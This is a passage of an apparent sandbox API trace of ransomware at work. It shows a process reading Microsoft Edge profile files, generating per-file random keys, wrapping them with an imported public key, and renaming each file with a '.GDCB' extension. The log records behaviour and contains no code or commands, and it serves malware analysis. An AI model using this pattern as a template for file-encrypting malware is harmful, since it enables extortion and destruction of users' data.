lpOverlapped=0x0) returned 1 [0249.587] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x3000, flProtect=0x4) returned 0xcb80000 [0249.608] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\Y51OCFZ0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\y51ocfz0.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\Y51OCFZ0.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\y51ocfz0.txt.gdcb")) returned 1 [0249.614] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0249.618] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.620] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0249.620] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.620] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0249.623] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.625] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.625] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0249.625] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.626] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0249.628] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6780648) returned 1 [0249.628] CryptGetKeyParam (in: hKey=0x6780648, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.628] CryptEncrypt (in: hKey=0x6780648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xca40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0249.628] GetLastError () returned 0x0 [0249.628] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.628] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0249.631] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6780788) returned 1 [0249.631] CryptGetKeyParam (in: hKey=0x6780788, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.631] CryptEncrypt (in: hKey=0x6780788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xca50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0249.631] GetLastError () returned 0x0 [0249.631] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.631] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\AllowList.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cortanaassist\\allowlist.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0249.632] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xca60000 [0249.635] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xca70000 [0249.638] ReadFile (in: hFile=0x528, lpBuffer=0xca70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xca70000*, lpNumberOfBytesRead=0x285d670*=0x49408, lpOverlapped=0x0) returned 1 [0249.670] VirtualAlloc (lpAddress=0x0, dwSize=0x49410, flAllocationType=0x3000, flProtect=0x4) returned 0xcb80000 [0249.689] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\AllowList.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cortanaassist\\allowlist.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\AllowList.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cortanaassist\\allowlist.dat.gdcb")) returned 1 [0249.737] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0249.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.745] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0249.745] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.745] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0249.749] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.752] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0249.752] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.752] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0249.755] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6780748) returned 1 [0249.755] CryptGetKeyParam (in: hKey=0x6780748, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0249.755] CryptEncrypt (in: hKey=0x6780748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xca40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0249.756] GetLastError () returned 0x0 [0249.756] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.756] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0249.758] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6780408) returned 1 [0249.758] CryptGetKeyParam (in: hKey=0x6780408, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0249.758] CryptEncrypt (in: hKey=0x6780408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xca50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0249.759] GetLastError () returned 0x0 [0249.759] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.759] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DomainSuggestions\\en-US.1" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\domainsuggestions\\en-us.1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0249.761] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xca60000 [0249.765] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xca70000 [0249.768] ReadFile (in: hFile=0x424, lpBuffer=0xca70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xca70000*, lpNumberOfBytesRead=0x285d160*=0x4700, lpOverlapped=0x0) returned 1 [0249.775] VirtualAlloc (lpAddress=0x0, dwSize=0x4700, flAllocationType=0x3000, flProtect=0x4) returned 0xcb80000 [0249.781] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DomainSuggestions\\en-US.1" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\domainsuggestions\\en-us.1"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DomainSuggestions\\en-US.1.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\domainsuggestions\\en-us.1.gdcb")) returned 0 [0249.812] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0249.815] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.818] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0249.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.818] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0249.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.823] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.823] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0249.823] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.823] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0249.825] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67807c8) returned 1 [0249.825] CryptGetKeyParam (in: hKey=0x67807c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0249.825] CryptEncrypt (in: hKey=0x67807c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xca40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0249.826] GetLastError () returned 0x0 [0249.826] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.826] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0249.828] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67804c8) returned 1 [0249.828] CryptGetKeyParam (in: hKey=0x67804c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0249.828] CryptEncrypt (in: hKey=0x67804c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xca50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0249.828] GetLastError () returned 0x0 [0249.828] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.828] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\RecoveryStore.{3D88D67F-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\recoverystore.{3d88d67f-6818-11e7-9bd3-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.828] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0249.832] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.834] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.835] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0249.835] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.835] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0249.838] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.840] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0249.840] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.841] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0249.843] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6780508) returned 1 [0249.843] CryptGetKeyParam (in: hKey=0x6780508, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0249.843] CryptEncrypt (in: hKey=0x6780508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca60000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xca60000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0249.844] GetLastError () returned 0x0 [0249.844] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.844] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0249.846] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6780548) returned 1 [0249.846] CryptGetKeyParam (in: hKey=0x6780548, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0249.846] CryptEncrypt (in: hKey=0x6780548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca70000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xca70000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0249.846] GetLastError () returned 0x0 [0249.846] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.846] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\{3D88D681-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\{3d88d681-6818-11e7-9bd3-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.857] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0249.860] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.862] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.862] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0249.862] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.863] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0249.865] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.870] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0249.870] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.870] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0249.873] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67802c8) returned 1 [0249.873] CryptGetKeyParam (in: hKey=0x67802c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0249.873] CryptEncrypt (in: hKey=0x67802c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xca80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0249.873] GetLastError () returned 0x0 [0249.873] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.873] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0249.875] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67803c8) returned 1 [0249.875] CryptGetKeyParam (in: hKey=0x67803c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0249.875] CryptEncrypt (in: hKey=0x67803c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xca90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0249.875] GetLastError () returned 0x0 [0249.875] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.875] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0249.876] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcaa0000 [0249.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcab0000 [0249.882] ReadFile (in: hFile=0x520, lpBuffer=0xcab0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcab0000*, lpNumberOfBytesRead=0x285d3e8*=0x80210, lpOverlapped=0x0) returned 1 [0249.892] VirtualAlloc (lpAddress=0x0, dwSize=0x80210, flAllocationType=0x3000, flProtect=0x4) returned 0xcbc0000 [0249.911] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edb.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edb.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edb.log.gdcb")) returned 1 [0249.915] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0249.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.921] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0249.921] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.921] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0249.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.926] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0249.926] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.926] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0249.929] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67805c8) returned 1 [0249.929] CryptGetKeyParam (in: hKey=0x67805c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0249.929] CryptEncrypt (in: hKey=0x67805c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xca80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0249.929] GetLastError () returned 0x0 [0249.929] CryptReleaseContext (hProv=0x5c4e48, 